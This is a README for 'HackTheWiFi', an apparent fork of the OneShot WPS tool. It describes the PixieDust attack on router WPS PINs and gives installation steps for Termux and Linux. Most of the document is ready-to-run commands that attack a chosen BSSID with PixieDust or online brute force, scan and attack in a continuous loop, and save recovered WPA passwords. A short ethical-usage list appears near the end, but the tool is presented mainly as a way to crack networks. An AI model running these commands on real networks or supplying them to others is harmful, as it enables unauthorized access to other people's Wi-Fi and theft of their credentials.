🚀 HackTheWiFi
⚡ What is PixieDust Attack?
The PixieDust attack is a groundbreaking WPS (Wi-Fi Protected Setup) vulnerability that can crack a router's PIN in seconds! 😱
Here's how it works:
- The Flaw: Many routers generate WPS PINs using weak pseudo-random number generators (PRNGs) based on the device's MAC address or static algorithms
- The Attack: PixieDust exploits the fact that during the WPS handshake, the router sends cryptographic data (E-Hash1, E-Hash2, PKE, PKR) that can be used offline to calculate the PIN
- The Speed: Instead of trying 11,000 PIN combinations (which takes hours), PixieDust calculates the correct PIN in under 60 seconds ⚡
🔥 Why It's So Powerful:
· Blazing Fast: Cracks WPS PINs in seconds, not hours · Offline Attack: Calculates PINs without sending thousands of requests · Comprehensive: Supports 50+ router brands including D-Link, TP-Link, ASUS, NETGEAR, Huawei, and more · Smart Detection: Automatically identifies vulnerable devices based on OUI (MAC address prefix) · All-in-One: Combines PixieDust, brute-force, and PIN generation in one tool
🎯 Vulnerability Assessment Power:
This tool doesn't just hack WiFi - it's a complete security assessment suite that:
· 🔍 Scans for vulnerable WPS-enabled routers · 📊 Analyzes router models and firmware versions · 🎯 Identifies weak PIN generation algorithms · 🛡️ Generates comprehensive security reports · 💾 Saves successful credentials for auditing
📦 Installation
For Termux (Android):
# Update packages
pkg update && pkg upgrade -y
# Install required packages
pkg install tsu python git root-repo -y
pkg install wpa-supplicant pixiewps iw openssl -y
termux-setup-storage
# Clone repository
git clone https://github.com/sylhetyhackvenger/HackTheWiFi.git
cd HackTheWiFi
For Linux (Kali/Ubuntu/Debian):
```bash
# Install dependencies
sudo apt update
sudo apt install python3 python3-pip git wireless-tools wpa-supplicant pixiewps -y
# Clone repository
git clone https://github.com/sylhetyhackvenger/HackTheWiFi
cd HackTheWiFi
🚀 Usage Examples
Basic Scan & Attack:
# Run PixieDust attack on a specific BSSID
sudo python HackTheWiFi.py -i wlan0 -b 00:11:22:33:44:55 -K
# Scan for vulnerable networks and attack
sudo python HackTheWiFi.py -i wlan0 -K -l
# Bruteforce with saved session
sudo python HackTheWiFi.py -i wlan0 -B
# Push Button Connect (PBC)
sudo python HackTheWiFi.py -i wlan0 --pbcAdvanced Options:
# PixieDust with force mode (full range bruteforce)
sudo python HackTheWiFi.py -i wlan0 -K -F
# Verbose output + save credentials
sudo python HackTheWiFi.py -i wlan0 -K -w -v
# Loop mode with reverse scan
sudo python HackTheWiFi.py -i wlan0 -K -l -r
# Custom delay between attempts
sudo python HackTheWiFi.py -i wlan0 -B -d 0.5🎨 Features
Feature Description 🚀 PixieDust Attack Cracks WPS PIN in seconds using cryptographic flaws 🔓 Online Bruteforce Smart bruteforce with session saving 📡 Network Scanner Detects WPS-enabled networks with signal strength 🎯 Vulnerability DB 500+ vulnerable device models pre-loaded 💾 Credential Saving Auto-saves WPA PSK and WPS PIN 📊 Reports Generates TXT, CSV reports with timestamps 🔄 Loop Mode Continuous scanning and attacking 🌐 MTK WiFi Support Works with MediaTek WiFi chips
📋 Requirements
pip install wcwidth🛡️ Ethical Usage
· ✅ Test on your own networks · ✅ Test on networks you have explicit written permission to test · ✅ Use in controlled lab environments · ❌ NEVER use on unauthorized networks · ❌ NEVER use for malicious purposes
🤝 Contributing
Want to make this tool even more powerful? We welcome contributions!
- Fork the repository
- Create your feature branch (git checkout -b feature/AmazingFeature)
- Commit changes (git commit -m 'Add AmazingFeature')
- Push to branch (git push origin feature/AmazingFeature)
- Open a Pull Request
📝 License
Distributed under the MIT License. See LICENSE for more information.
🙏 Acknowledgments
· rofl0r - Original OneShotPin creator · drygdryg - Modifications and improvements · SYLHETYHACKVENGER (THE-ERROR808) - I tried to do some enhancements · WiFi Security Community - Vulnerability research

